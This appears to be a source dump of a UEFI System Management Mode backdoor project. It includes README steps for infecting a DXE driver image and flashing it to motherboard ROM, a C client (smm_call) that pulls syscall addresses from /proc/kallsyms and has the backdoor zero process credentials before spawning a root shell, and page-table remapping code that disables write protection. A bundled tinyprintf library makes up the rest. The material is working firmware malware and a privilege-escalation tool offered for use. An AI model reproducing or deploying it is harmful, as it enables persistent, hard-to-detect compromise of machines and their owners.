extrated image with SmmBackdoor.efi using SmmBackdoor.py: 69 | 70 | $ python SmmBackdoor.py --infect extracted.bin --output infected.bin --payload SmmBackdoor.efi 71 | 72 | 5. In UEFITool replace original PE image with infected.bin. 73 | 74 | 6. Save modified flash image to file and write it to the motherboard ROM with programmer. 75 | 76 | Backdoor also has debug output capabilities that allows to see DXE phase debug messages on the screen and receive runtime phase debug messages over COM port. 77 | 78 | 79 | To use SmmBackdoor.py you need to install a pefile Python library (https://pypi.python.org/pypi/pefile) and CHIPSEC framework (https://github.com/chipsec/chipsec) including Python bindings. 80 | 81 | Supported commands: 82 | 83 | * SmmBackdoor.py --infect --output --payload - Infect PE image of DXE driver with specified backdoor code. 84 | 85 | * SmmBackdoor.py --test - Check for backdoor presence and print status information from BACKDOOR_INFO structure. 86 | 87 | * SmmBackdoor.py --dump-smram - Dump all available SMRAM regions into the files. 88 | 89 | * SmmBackdoor.py --read-phys
- Print hexadecimal dump of physical memory page at given address. 90 | 91 | * SmmBackdoor.py --read-virt
- Print hexadecimal dump of virtual memory page at given address. 92 | 93 | * SmmBackdoor.py --timer-enable - Enable periodic timer SMI that required for smm_call (by default it's enabled). 94 | 95 | * SmmBackdoor.py --timer-disable - Disable periodic timer SMI. 96 | 97 | 98 | smm_call usage: 99 | 100 | * smm_call [ []] - Send specified control code and arguments to SMM backdoor. 101 | 102 | * smm_call --privesc - Ask the backdoor to give a root privileges for caller process and run command shell. 103 | 104 | 105 | Please note, that this code was tested only with Intel DQ77KB motherboard. You may try to run it on any other UEFI compatible hardware, but some of the backdoor features might not work. 106 | 107 | 108 | Written by: 109 | Dmytro Oleksiuk (aka Cr4sh) 110 | 111 | cr4sh0@gmail.com 112 | http://blog.cr4.sh 113 | 114 | -------------------------------------------------------------------------------- /smm_call/main.c: -------------------------------------------------------------------------------- 1 | #define _GNU_SOURCE 2 | 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | 11 | #include 12 | #include 13 | 14 | #define MAX_COMMAND_LEN 0x200 15 | 16 | #define BACKDOOR_PING 0 // test for alive SMM backdoor 17 | #define BACKDOOR_READ_PHYS_MEM 1 // read physical memory command 18 | #define BACKDOOR_READ_VIRT_MEM 2 // read virtual memory command 19 | #define BACKDOOR_WRITE_PHYS_MEM 3 // write physical memory command 20 | #define BACKDOOR_WRITE_VIRT_MEM 4 // write virtual memory command 21 | #define BACKDOOR_TIMER_ENABLE 5 // enable periodic timer handler 22 | #define BACKDOOR_TIMER_DISABLE 6 // disable periodic timer handler 23 | #define BACKDOOR_CALL 7 // call specified subroutine 24 | #define BACKDOOR_PRIVESC 8 // set uid/gid/euid/egid of current process to 0 25 | 26 | // external function implemented in assembly 27 | extern int smm_call(long code, unsigned long long arg1, unsigned long long arg2); 28 | 29 | int main(int argc, char *argv[]) 30 | { 31 | int ret = 0; 32 | cpu_set_t mask; 33 | 34 | CPU_ZERO(&mask); 35 | CPU_SET(0, &mask); 36 | 37 | // tells to the scheduler to run current process only on first CPU 38 | ret = sched_setaffinity(0, sizeof(mask), &mask); 39 | if (ret != 0) 40 | { 41 | printf("sched_setaffinity() ERROR %d\n", errno); 42 | return errno; 43 | } 44 | 45 | if (argc >= 2 && !strcmp(argv[1], "--privesc")) 46 | { 47 | /* 48 | Privileges escalation mode. 49 | */ 50 | 51 | if (argc >= 3) 52 | { 53 | int i = 0; 54 | 55 | for (i = 2; i < argc; i += 2) 56 | { 57 | unsigned long long addr = 0; 58 | char *func = argv[i + 1]; 59 | 60 | // parse syscall address that was passed to the program by itself using cat + grep 61 | if ((addr = strtoull(argv[i], NULL, 16)) == 0 && errno == EINVAL) 62 | { 63 | printf("strtoull() ERROR %d\n", errno); 64 | return errno; 65 | } 66 | 67 | if (addr == 0) 68 | { 69 | printf("ERROR: Unable to resolve %s() address\n", func); 70 | return EINVAL; 71 | } 72 | 73 | printf("%s() address is 0x%llx...\n", func, addr); 74 | 75 | // call target code to be sure that it's not swapped out 76 | getuid(); 77 | getgid(); 78 | geteuid(); 79 | getegid(); 80 | 81 | // ask the backdoor to set cred field value to 0 82 | ret = smm_call(BACKDOOR_PRIVESC, addr, 0); 83 | 84 | if (ret != 0) 85 | { 86 | printf("ERROR: Backdoor returns 0x%x\n", ret); 87 | return ret; 88 | } 89 | } 90 | 91 | // check for root privileges 92 | if (getuid() == 0 && geteuid() == 0 && 93 | getgid() == 0 && getegid() == 0) 94 | { 95 | printf("SUCCESS\n"); 96 | 97 | // run command shell 98 | execl("/bin/sh", "sh", NULL); 99 | } 100 | else 101 | { 102 | printf("FAILS\n"); 103 | return EINVAL; 104 | } 105 | } 106 | else 107 | { 108 | int i = 0, code = 0; 109 | char command[MAX_COMMAND_LEN]; 110 | 111 | /* 112 | Find desired syscalls addresses in /proc/kallsyms and pass them 113 | to the same program as command line arguments. 114 | */ 115 | 116 | char *functions[] = { "sys_getuid", "sys_geteuid", 117 | "sys_getgid", "sys_getegid", NULL }; 118 | 119 | printf("Getting root...\n"); 120 | 121 | sprintf(command, "%s --privesc ", argv[0]); 122 | 123 | for (i = 0; functions[i]; i++) 124 | { 125 | char *func = functions[i]; 126 | 127 | sprintf( 128 | command + strlen(command), 129 | "0x`cat /proc/kallsyms | grep '%s$' | awk '{print $1}'` %s ", func, func 130 | ); 131 | } 132 | 133 | code = system(command); 134 | if (code != 0) 135 | { 136 | printf("ERROR: Command \"%s\" returns 0x%x\n", command, code); 137 | return code; 138 | } 139 | } 140 | } 141 | else 142 | { 143 | int code = 0; 144 | unsigned long long arg1 = 0, arg2 = 0; 145 | 146 | /* 147 | Parse arguments for SMM backdoor call from command line arguments. 148 | */ 149 | 150 | if (argc >= 2) 151 | { 152 | if ((code = strtol(argv[1], NULL, 16)) == 0 && errno == EINVAL) 153 | { 154 | printf("strtol() ERROR %d\n", errno); 155 | return errno; 156 | } 157 | } 158 | 159 | if (argc >= 3) 160 | { 161 | if ((arg1 = strtoull(argv[2], NULL, 16)) == 0 && errno == EINVAL) 162 | { 163 | printf("strtoull() ERROR %d\n", errno); 164 | return errno; 165 | } 166 | } 167 | 168 | if (argc >= 4) 169 | { 170 | if ((arg2 = strtoull(argv[3], NULL, 16)) == 0 && errno == EINVAL) 171 | { 172 | printf("strtoull() ERROR %d\n", errno); 173 | return errno; 174 | } 175 | } 176 | 177 | printf( 178 | "Calling SMM backdoor with code = 0x%x and args 0x%llx, 0x%llx...\n", 179 | code, arg1, arg2 180 | ); 181 | 182 | ret = smm_call(code, arg1, arg2); 183 | 184 | printf("Sucess! Status code: 0x%.8x\n", ret); 185 | } 186 | 187 | return ret; 188 | } 189 | -------------------------------------------------------------------------------- /SmmBackdoor/virtmem.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | #include "config.h" 4 | 5 | #include "common.h" 6 | #include "debug.h" 7 | #include "virtmem.h" 8 | 9 | #include "../../DuetPkg/DxeIpl/X64/VirtualMemory.h" 10 | 11 | // IA32_EFER MSR register 12 | #define IA32_EFER 0xC0000080 13 | 14 | // IA32_EFER.LME flag 15 | #define IA32_EFER_LME 0x100 16 | 17 | // PS flag of PDPTE and PDE 18 | #define PDPTE_PDE_PS 0x80 19 | 20 | // CR0 register flags 21 | #define CR0_WP 0x00010000 22 | #define CR0_PG 0x80000000 23 | 24 | // CR4 register flags 25 | #define CR4_PAE 0x20 26 | 27 | #if defined(BACKDOOR_DEBUG_MEM) 28 | 29 | #define DbgMsgMem DbgMsg 30 | 31 | #else 32 | 33 | #define DbgMsgMem 34 | 35 | #endif 36 | 37 | // defined in SmmBackdoor.c 38 | extern UINT64 m_DummyPage; 39 | //-------------------------------------------------------------------------------------- 40 | BOOLEAN VirtualAddrRemap(UINT64 Addr, UINT64 NewAddr, UINT64 Cr3, BOOLEAN *pbLargePage) 41 | { 42 | X64_PAGE_MAP_AND_DIRECTORY_POINTER_2MB_4K PML4Entry; 43 | PML4Entry.Uint64 = *(UINT64 *)(PML4_ADDRESS(Cr3) + PML4_INDEX(Addr) * sizeof(UINT64)); 44 | 45 | if (PML4Entry.Bits.Present) 46 | { 47 | X64_PAGE_MAP_AND_DIRECTORY_POINTER_2MB_4K PDPTEntry; 48 | PDPTEntry.Uint64 = *(UINT64 *)(PFN_TO_PAGE(PML4Entry.Bits.PageTableBaseAddress) + 49 | PDPT_INDEX(Addr) * sizeof(UINT64)); 50 | 51 | if (PDPTEntry.Bits.Present) 52 | { 53 | // check for page size flag 54 | if ((PDPTEntry.Uint64 & PDPTE_PDE_PS) == 0) 55 | { 56 | X64_PAGE_DIRECTORY_ENTRY_4K *PDEntry = (X64_PAGE_DIRECTORY_ENTRY_4K *) 57 | (PFN_TO_PAGE(PDPTEntry.Bits.PageTableBaseAddress) + PDE_INDEX(Addr) * sizeof(UINT64)); 58 | 59 | if (PDEntry->Bits.Present) 60 | { 61 | // check for page size flag 62 | if ((PDEntry->Uint64 & PDPTE_PDE_PS) == 0) 63 | { 64 | X64_PAGE_TABLE_ENTRY_4K *PTEntry = (X64_PAGE_TABLE_ENTRY_4K *) 65 | (PFN_TO_PAGE(PDEntry->Bits.PageTableBaseAddress) + PTE_INDEX(Addr) * sizeof(UINT64)); 66 | 67 | if (PTEntry->Bits.Present) 68 | { 69 | UINT64 Cr0 = __readcr0(); 70 | 71 | // disable write protection 72 | __writecr0(Cr0 & ~CR0_WP); 73 | 74 | // remap virtual address to the new physical address 75 | PTEntry->Bits.PageTableBaseAddress = PAGE_TO_PFN(NewAddr & ~(PAGE_SIZE - 1)); 76 | 77 | // restore write protection 78 | __writecr0(Cr0); 79 | 80 | // flush TLB 81 | __writecr3(__readcr3()); 82 | 83 | if (pbLargePage) 84 | { 85 | // 4K page 86 | *pbLargePage = FALSE; 87 | } 88 | 89 | return TRUE; 90 | } 91 | } 92 | else 93 | { 94 | UINT64 Cr0 = __readcr0(); 95 | 96 | // disable write protection 97 | __writecr0(Cr0 & ~CR0_WP); 98 | 99 | // remap virtual address to the new physical address 100 | PDEntry->Bits.PageTableBaseAddress = PAGE_TO_PFN(NewAddr & ~(PAGE_SIZE_2M - 1)); 101 | 102 | // restore write protection 103 | __writecr0(Cr0); 104 | 105 | // flush TLB 106 | __writecr3(__readcr3()); 107 | 108 | if (pbLargePage) 109 | { 110 | // 2M page 111 | *pbLargePage = TRUE; 112 | } 113 | 114 | return TRUE; 115 | } 116 | } 117 | } 118 | } 119 | } 120 | 121 | return FALSE; 122 | } 123 | //-------------------------------------------------------------------------------------- 124 | EFI_STATUS VirtualToPhysical(UINT64 Addr, UINT64 *Ret, UINT64 Cr3, UINT64 SmmCr3) 125 | { 126 | UINT64 PhysAddr = 0; 127 | EFI_STATUS Status = EFI_INVALID_PARAMETER; 128 | BOOLEAN bLargePage = FALSE; 129 | 130 | X64_PAGE_MAP_AND_DIRECTORY_POINTER_2MB_4K PML4Entry; 131 | 132 | DbgMsgMem(__FILE__, __LINE__, __FUNCTION__"(): CR3 is 0x%llx, VA is 0x%llx\r\n", Cr3, Addr); 133 | 134 | if (SmmCr3 != 0) 135 | { 136 | UINT64 ReadAddr = PML4_ADDRESS(Cr3); 137 | 138 | // map physical address 139 | if (VirtualAddrRemap(m_DummyPage, ReadAddr, SmmCr3, &bLargePage)) 140 | { 141 | UINT64 TargetAddr = m_DummyPage; 142 | 143 | if (bLargePage) 144 | { 145 | TargetAddr += PAGE_OFFSET_2M(ReadAddr); 146 | } 147 | else 148 | { 149 | TargetAddr += PAGE_OFFSET_4K(ReadAddr); 150 | } 151 | 152 | PML4Entry.Uint64 = *(UINT64 *)(TargetAddr + PML4_INDEX(Addr) * sizeof(UINT64)); 153 | 154 | // revert old mapping 155 | VirtualAddrRemap(m_DummyPage, m_DummyPage, SmmCr3, NULL); 156 | } 157 | else 158 | { 159 | return Status; 160 | } 161 | } 162 | else 163 | { 164 | PML4Entry.Uint64 = *(UINT64 *)(PML4_ADDRESS(Cr3) + PML4_INDEX(Addr) * sizeof(UINT64)); 165 | } 166 | 167 | DbgMsgMem( 168 | __FILE__, __LINE__, "PML4E is at 0x%llx[0x%llx]: 0x%llx\r\n", 169 | PML4_ADDRESS(Cr3), PML4_INDEX(Addr), PML4Entry.Uint64 170 | ); 171 | 172 | if (PML4Entry.Bits.Present) 173 | { 174 | X64_PAGE_MAP_AND_DIRECTORY_POINTER_2MB_4K PDPTEntry; 175 | 176 | if (SmmCr3 != 0) 177 | { 178 | UINT64 ReadAddr = PFN_TO_PAGE(PML4Entry.Bits.PageTableBaseAddress); 179 | 180 | // map physical address 181 | if (VirtualAddrRemap(m_DummyPage, ReadAddr, SmmCr3, &bLargePage)) 182 | { 183 | UINT64 TargetAddr = m_DummyPage; 184 | 185 | if (bLargePage) 186 | { 187 | TargetAddr += PAGE_OFFSET_2M(ReadAddr); 188 | } 189 | else 190 | { 191 | TargetAddr += PAGE_OFFSET_4K(ReadAddr); 192 | } 193 | 194 | PDPTEntry.Uint64 = *(UINT64 *)(TargetAddr + PDPT_INDEX(Addr) * sizeof(UINT64)); 195 | 196 | // revert old mapping 197 | VirtualAddrRemap(m_DummyPage, m_DummyPage, SmmCr3, NULL); 198 | } 199 | else 200 | { 201 | return Status; 202 | } 203 | } 204 | else 205 | { 206 | PDPTEntry.Uint64 = *(UINT64 *)(PFN_TO_PAGE(PML4Entry.Bits.PageTableBaseAddress) + 207 | PDPT_INDEX(Addr) * sizeof(UINT64)); 208 | } 209 | 210 | DbgMsgMem( 211 | __FILE__, __LINE__, "PDPTE is at 0x%llx[0x%llx]: 0x%llx\r\n", 212 | PFN_TO_PAGE(PML4Entry.Bits.PageTableBaseAddress), PDPT_INDEX(Addr), PDPTEntry.Uint64 213 | ); 214 | 215 | if (PDPTEntry.Bits.Present) 216 | { 217 | // check for page size flag 218 | if ((PDPTEntry.Uint64 & PDPTE_PDE_PS) == 0) 219 | { 220 | X64_PAGE_DIRECTORY_ENTRY_4K PDEntry; 221 | 222 | if (SmmCr3 != 0) 223 | { 224 | UINT64 ReadAddr = PFN_TO_PAGE(PDPTEntry.Bits.PageTableBaseAddress); 225 | 226 | // map physical address 227 | if (VirtualAddrRemap(m_DummyPage, ReadAddr, SmmCr3, &bLargePage)) 228 | { 229 | UINT64 TargetAddr = m_DummyPage; 230 | 231 | if (bLargePage) 232 | { 233 | TargetAddr += PAGE_OFFSET_2M(ReadAddr); 234 | } 235 | else 236 | { 237 | TargetAddr += PAGE_OFFSET_4K(ReadAddr); 238 | } 239 | 240 | PDEntry.Uint64 = *(UINT64 *)(TargetAddr + PDE_INDEX(Addr) * sizeof(UINT64)); 241 | 242 | // revert old mapping 243 | VirtualAddrRemap(m_DummyPage, m_DummyPage, SmmCr3, NULL); 244 | } 245 | else 246 | { 247 | return Status; 248 | } 249 | } 250 | else 251 | { 252 | PDEntry.Uint64 = *(UINT64 *)(PFN_TO_PAGE(PDPTEntry.Bits.PageTableBaseAddress) + 253 | PDE_INDEX(Addr) * sizeof(UINT64)); 254 | } 255 | 256 | DbgMsgMem( 257 | __FILE__, __LINE__, "PDE is at 0x%llx[0x%llx]: 0x%llx\r\n", 258 | PFN_TO_PAGE(PDPTEntry.Bits.PageTableBaseAddress), PDE_INDEX(Addr), 259 | PDEntry.Uint64 260 | ); 261 | 262 | if (PDEntry.Bits.Present) 263 | { 264 | // check for page size flag 265 | if ((PDEntry.Uint64 & PDPTE_PDE_PS) == 0) 266 | { 267 | X64_PAGE_TABLE_ENTRY_4K PTEntry; 268 | 269 | if (SmmCr3 != 0) 270 | { 271 | UINT64 ReadAddr = PFN_TO_PAGE(PDEntry.Bits.PageTableBaseAddress); 272 | 273 | // map physical address 274 | if (VirtualAddrRemap(m_DummyPage, ReadAddr, SmmCr3, &bLargePage)) 275 | { 276 | UINT64 TargetAddr = m_DummyPage; 277 | 278 | if (bLargePage) 279 | { 280 | TargetAddr += PAGE_OFFSET_2M(ReadAddr); 281 | } 282 | else 283 | { 284 | TargetAddr += PAGE_OFFSET_4K(ReadAddr); 285 | } 286 | 287 | PTEntry.Uint64 = *(UINT64 *)(TargetAddr + PTE_INDEX(Addr) * sizeof(UINT64)); 288 | 289 | // revert old mapping 290 | VirtualAddrRemap(m_DummyPage, m_DummyPage, SmmCr3, NULL); 291 | } 292 | else 293 | { 294 | return Status; 295 | } 296 | } 297 | else 298 | { 299 | PTEntry.Uint64 = *(UINT64 *)(PFN_TO_PAGE(PDEntry.Bits.PageTableBaseAddress) + 300 | PTE_INDEX(Addr) * sizeof(UINT64)); 301 | } 302 | 303 | DbgMsgMem( 304 | __FILE__, __LINE__, "PTE is at 0x%llx[0x%llx]: 0x%llx\r\n", 305 | PFN_TO_PAGE(PDEntry.Bits.PageTableBaseAddress), PTE_INDEX(Addr), 306 | PTEntry.Uint64 307 | ); 308 | 309 | if (PTEntry.Bits.Present) 310 | { 311 | PhysAddr = PFN_TO_PAGE(PTEntry.Bits.PageTableBaseAddress) + 312 | PAGE_OFFSET_4K(Addr); 313 | 314 | Status = EFI_SUCCESS; 315 | } 316 | else 317 | { 318 | DbgMsg( 319 | __FILE__, __LINE__, 320 | "ERROR: PTE for 0x%llx is not present\r\n", Addr 321 | ); 322 | } 323 | } 324 | else 325 | { 326 | PhysAddr = PFN_TO_PAGE(PDEntry.Bits.PageTableBaseAddress) + 327 | PAGE_OFFSET_2M(Addr); 328 | 329 | Status = EFI_SUCCESS; 330 | } 331 | } 332 | else 333 | { 334 | DbgMsg( 335 | __FILE__, __LINE__, 336 | "ERROR: PDE for 0x%llx is not present\r\n", Addr 337 | ); 338 | } 339 | } 340 | else 341 | { 342 | DbgMsg(__FILE__, __LINE__, "ERROR: 1Gbyte page\r\n"); 343 | } 344 | } 345 | else 346 | { 347 | DbgMsg(__FILE__, __LINE__, "ERROR: PDPTE for 0x%llx is not present\r\n", Addr); 348 | } 349 | } 350 | else 351 | { 352 | DbgMsg(__FILE__, __LINE__, "ERROR: PML4E for 0x%llx is not present\r\n", Addr); 353 | } 354 | 355 | if (Status == EFI_SUCCESS) 356 | { 357 | DbgMsg(__FILE__, __LINE__, "Physical address of 0x%llx is 0x%llx\r\n", Addr, PhysAddr); 358 | 359 | if (Ret) 360 | { 361 | *Ret = PhysAddr; 362 | } 363 | } 364 | 365 | return Status; 366 | } 367 | //-------------------------------------------------------------------------------------- 368 | BOOLEAN VirtualAddrValid(UINT64 Addr, UINT64 Cr3) 369 | { 370 | X64_PAGE_MAP_AND_DIRECTORY_POINTER_2MB_4K PML4Entry; 371 | PML4Entry.Uint64 = *(UINT64 *)(PML4_ADDRESS(Cr3) + PML4_INDEX(Addr) * sizeof(UINT64)); 372 | 373 | if (PML4Entry.Bits.Present) 374 | { 375 | X64_PAGE_MAP_AND_DIRECTORY_POINTER_2MB_4K PDPTEntry; 376 | PDPTEntry.Uint64 = *(UINT64 *)(PFN_TO_PAGE(PML4Entry.Bits.PageTableBaseAddress) + 377 | PDPT_INDEX(Addr) * sizeof(UINT64)); 378 | 379 | if (PDPTEntry.Bits.Present) 380 | { 381 | // check for page size flag 382 | if ((PDPTEntry.Uint64 & PDPTE_PDE_PS) == 0) 383 | { 384 | X64_PAGE_DIRECTORY_ENTRY_4K PDEntry; 385 | PDEntry.Uint64 = *(UINT64 *)(PFN_TO_PAGE(PDPTEntry.Bits.PageTableBaseAddress) + 386 | PDE_INDEX(Addr) * sizeof(UINT64)); 387 | 388 | if (PDEntry.Bits.Present) 389 | { 390 | // check for page size flag 391 | if ((PDEntry.Uint64 & PDPTE_PDE_PS) == 0) 392 | { 393 | X64_PAGE_TABLE_ENTRY_4K PTEntry; 394 | PTEntry.Uint64 = *(UINT64 *)(PFN_TO_PAGE(PDEntry.Bits.PageTableBaseAddress) + 395 | PTE_INDEX(Addr) * sizeof(UINT64)); 396 | if (PTEntry.Bits.Present) 397 | { 398 | return TRUE; 399 | } 400 | } 401 | else 402 | { 403 | return TRUE; 404 | } 405 | } 406 | } 407 | else 408 | { 409 | return TRUE; 410 | } 411 | } 412 | } 413 | 414 | return FALSE; 415 | } 416 | //-------------------------------------------------------------------------------------- 417 | BOOLEAN Check_IA_32e(PCONTROL_REGS ControlRegs) 418 | { 419 | UINT64 Efer = __readmsr(IA32_EFER); 420 | 421 | if (!(ControlRegs->Cr0 & CR0_PG)) 422 | { 423 | DbgMsg(__FILE__, __LINE__, "ERROR: CR0.PG is not set\r\n"); 424 | return FALSE; 425 | } 426 | 427 | if (!(Efer & IA32_EFER_LME)) 428 | { 429 | DbgMsg(__FILE__, __LINE__, "ERROR: IA32_EFER.LME is not set\r\n"); 430 | return FALSE; 431 | } 432 | 433 | return TRUE; 434 | } 435 | //-------------------------------------------------------------------------------------- 436 | // EoF 437 | -------------------------------------------------------------------------------- /SmmBackdoor/printf.c: -------------------------------------------------------------------------------- 1 | /* 2 | File: tinyprintf.c 3 | 4 | Copyright (C) 2004 Kustaa Nyholm 5 | 6 | This library is free software; you can redistribute it and/or 7 | modify it under the terms of the GNU Lesser General Public 8 | License as published by the Free Software Foundation; either 9 | version 2.1 of the License, or (at your option) any later version. 10 | 11 | This library is distributed in the hope that it will be useful, 12 | but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 14 | Lesser General Public License for more details. 15 | 16 | You should have received a copy of the GNU Lesser General Public 17 | License along with this library; if not, write to the Free Software 18 | Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA 19 | */ 20 | 21 | #include "printf.h" 22 | 23 | /** 24 | * Configuration 25 | */ 26 | 27 | /* Enable long int support */ 28 | #define PRINTF_LONG_SUPPORT 29 | 30 | /* Enable long long int support (implies long int support) */ 31 | #define PRINTF_LONG_LONG_SUPPORT 32 | 33 | /* Enable %z (size_t) support */ 34 | #define PRINTF_SIZE_T_SUPPORT 35 | 36 | /** 37 | * Configuration adjustments 38 | */ 39 | #ifdef PRINTF_SIZE_T_SUPPORT 40 | #include 41 | #endif 42 | 43 | #ifdef PRINTF_LONG_LONG_SUPPORT 44 | #define PRINTF_LONG_SUPPORT 45 | #endif 46 | 47 | /* __SIZEOF___ defined at least by gcc */ 48 | #ifdef __SIZEOF_POINTER__ 49 | #define SIZEOF_POINTER __SIZEOF_POINTER__ 50 | #endif 51 | 52 | #ifdef __SIZEOF_LONG_LONG__ 53 | #define SIZEOF_LONG_LONG __SIZEOF_LONG_LONG__ 54 | #endif 55 | 56 | #ifdef __SIZEOF_LONG__ 57 | #define SIZEOF_LONG __SIZEOF_LONG__ 58 | #endif 59 | 60 | #ifdef __SIZEOF_INT__ 61 | #define SIZEOF_INT __SIZEOF_INT__ 62 | #endif 63 | 64 | #ifdef __GNUC__ 65 | #define _TFP_GCC_NO_INLINE_ __attribute__ ((noinline)) 66 | #else 67 | #define _TFP_GCC_NO_INLINE_ 68 | #endif 69 | 70 | /** 71 | * Implementation 72 | */ 73 | struct param 74 | { 75 | char leading_zeros : 1; // Leading zeros 76 | char alt_form : 1; // Alternate form 77 | char upper_case : 1; // Upper case (for base16 only) 78 | char align_left : 1; // 0 == align right (default), 1 == align left 79 | unsigned int width; // Field width 80 | unsigned int base; // Number base (e.g.: 8, 10, 16) 81 | char sign; // The sign to display (if any) 82 | char *buff; // Buffer to output 83 | }; 84 | 85 | #ifdef PRINTF_LONG_LONG_SUPPORT 86 | 87 | static void _TFP_GCC_NO_INLINE_ ulli2a(unsigned long long int num, struct param *p) 88 | { 89 | int n = 0; 90 | unsigned long long int d = 1; 91 | char *buff = p->buff; 92 | 93 | while (num / d >= p->base) 94 | { 95 | d *= p->base; 96 | } 97 | 98 | while (d != 0) 99 | { 100 | int digit = (int)(num / d); 101 | 102 | num %= d; 103 | d /= p->base; 104 | 105 | if (n || digit > 0 || d == 0) 106 | { 107 | *buff++ = (char)(digit + (digit < 10 ? '0' : (p->upper_case ? 'A' : 'a') - 10)); 108 | ++n; 109 | } 110 | } 111 | 112 | *buff = 0; 113 | } 114 | 115 | static void lli2a(long long int num, struct param *p) 116 | { 117 | if (num < 0) 118 | { 119 | num = -num; 120 | p->sign = '-'; 121 | } 122 | 123 | ulli2a(num, p); 124 | } 125 | 126 | #endif // PRINTF_LONG_LONG_SUPPORT 127 | 128 | #ifdef PRINTF_LONG_SUPPORT 129 | 130 | static void uli2a(unsigned long int num, struct param *p) 131 | { 132 | int n = 0; 133 | unsigned long int d = 1; 134 | char *buff = p->buff; 135 | 136 | while (num / d >= p->base) 137 | { 138 | d *= p->base; 139 | } 140 | 141 | while (d != 0) 142 | { 143 | int digit = num / d; 144 | 145 | num %= d; 146 | d /= p->base; 147 | 148 | if (n || digit > 0 || d == 0) 149 | { 150 | *buff++ = (char)(digit + (digit < 10 ? '0' : (p->upper_case ? 'A' : 'a') - 10)); 151 | ++n; 152 | } 153 | } 154 | 155 | *buff = 0; 156 | } 157 | 158 | static void li2a(long num, struct param *p) 159 | { 160 | if (num < 0) 161 | { 162 | num = -num; 163 | p->sign = '-'; 164 | } 165 | 166 | uli2a(num, p); 167 | } 168 | 169 | #endif // PRINTF_LONG_SUPPORT 170 | 171 | static void ui2a(unsigned int num, struct param *p) 172 | { 173 | int n = 0; 174 | unsigned int d = 1; 175 | char *buff = p->buff; 176 | 177 | while (num / d >= p->base) 178 | { 179 | d *= p->base; 180 | } 181 | 182 | while (d != 0) 183 | { 184 | int digit = num / d; 185 | 186 | num %= d; 187 | d /= p->base; 188 | 189 | if (n || digit > 0 || d == 0) 190 | { 191 | *buff++ = (char)(digit + (digit < 10 ? '0' : (p->upper_case ? 'A' : 'a') - 10)); 192 | ++n; 193 | } 194 | } 195 | 196 | *buff = 0; 197 | } 198 | 199 | static void i2a(int num, struct param *p) 200 | { 201 | if (num < 0) 202 | { 203 | num = -num; 204 | p->sign = '-'; 205 | } 206 | 207 | ui2a(num, p); 208 | } 209 | 210 | static int a2d(char ch) 211 | { 212 | if (ch >= '0' && ch <= '9') 213 | { 214 | return ch - '0'; 215 | } 216 | else if (ch >= 'a' && ch <= 'f') 217 | { 218 | return ch - 'a' + 10; 219 | } 220 | else if (ch >= 'A' && ch <= 'F') 221 | { 222 | return ch - 'A' + 10; 223 | } 224 | 225 | return -1; 226 | } 227 | 228 | static char a2u(char ch, const char **src, int base, unsigned int *nump) 229 | { 230 | const char *p = *src; 231 | unsigned int num = 0; 232 | int digit = 0; 233 | 234 | while ((digit = a2d(ch)) >= 0) 235 | { 236 | if (digit > base) 237 | { 238 | break; 239 | } 240 | 241 | num = num * base + digit; 242 | ch = *p++; 243 | } 244 | 245 | *src = p; 246 | *nump = num; 247 | 248 | return ch; 249 | } 250 | 251 | static void putchw(void *putp, putcf putf, struct param *p) 252 | { 253 | char ch; 254 | int n = p->width; 255 | char *buff = p->buff; 256 | 257 | /* Number of filling characters */ 258 | while (*buff++ && n > 0) 259 | { 260 | n--; 261 | } 262 | 263 | if (p->sign) 264 | { 265 | n--; 266 | } 267 | 268 | if (p->alt_form && p->base == 16) 269 | { 270 | n -= 2; 271 | } 272 | else if (p->alt_form && p->base == 8) 273 | { 274 | n--; 275 | } 276 | 277 | /* Fill with space to align to the right, before alternate or sign */ 278 | if (!p->leading_zeros && !p->align_left) 279 | { 280 | while (n-- > 0) 281 | { 282 | putf(putp, ' '); 283 | } 284 | } 285 | 286 | /* print sign */ 287 | if (p->sign) 288 | { 289 | putf(putp, p->sign); 290 | } 291 | 292 | /* Alternate */ 293 | if (p->alt_form && p->base == 16) 294 | { 295 | putf(putp, '0'); 296 | putf(putp, (p->upper_case ? 'X' : 'x')); 297 | } 298 | else if (p->alt_form && p->base == 8) 299 | { 300 | putf(putp, '0'); 301 | } 302 | 303 | /* Fill with zeros, after alternate or sign */ 304 | if (p->leading_zeros) 305 | { 306 | while (n-- > 0) 307 | { 308 | putf(putp, '0'); 309 | } 310 | } 311 | 312 | /* Put actual buffer */ 313 | buff = p->buff; 314 | while ((ch = *buff++) != 0) 315 | { 316 | putf(putp, ch); 317 | } 318 | 319 | /* Fill with space to align to the left, after string */ 320 | if (!p->leading_zeros && p->align_left) 321 | { 322 | while (n-- > 0) 323 | { 324 | putf(putp, ' '); 325 | } 326 | } 327 | } 328 | 329 | void tfp_format(void *putp, putcf putf, const char *format, va_list va) 330 | { 331 | struct param p; 332 | char ch; 333 | 334 | #ifdef PRINTF_LONG_SUPPORT 335 | 336 | /* long = 64b on some architectures */ 337 | char bf[23]; 338 | 339 | #else 340 | 341 | /* int = 32b on some architectures */ 342 | char bf[12]; 343 | 344 | #endif 345 | 346 | p.buff = bf; 347 | 348 | while ((ch = *(format++)) != 0) 349 | { 350 | if (ch != '%') 351 | { 352 | putf(putp, ch); 353 | } 354 | else 355 | { 356 | 357 | #ifdef PRINTF_LONG_SUPPORT 358 | 359 | /* 1 for long, 2 for long long */ 360 | char lng = 0; 361 | #endif 362 | /* Init parameter struct */ 363 | p.leading_zeros = 0; 364 | p.alt_form = 0; 365 | p.width = 0; 366 | p.align_left = 0; 367 | p.sign = 0; 368 | 369 | /* Flags */ 370 | while ((ch = *(format++)) != 0) 371 | { 372 | switch (ch) 373 | { 374 | case '-': 375 | 376 | p.align_left = 1; 377 | continue; 378 | 379 | case '0': 380 | 381 | p.leading_zeros = 1; 382 | continue; 383 | 384 | case '#': 385 | 386 | p.alt_form = 1; 387 | continue; 388 | 389 | default: 390 | 391 | break; 392 | } 393 | 394 | break; 395 | } 396 | 397 | /* Width */ 398 | if (ch >= '0' && ch <= '9') 399 | { 400 | ch = a2u(ch, &format, 10, &(p.width)); 401 | } 402 | 403 | /** 404 | * We accept 'x.y' format but don't support it completely: 405 | * we ignore the 'y' digit => this ignores 0-fill size and makes it == width (ie. 'x') 406 | */ 407 | if (ch == '.') 408 | { 409 | /* zero-padding */ 410 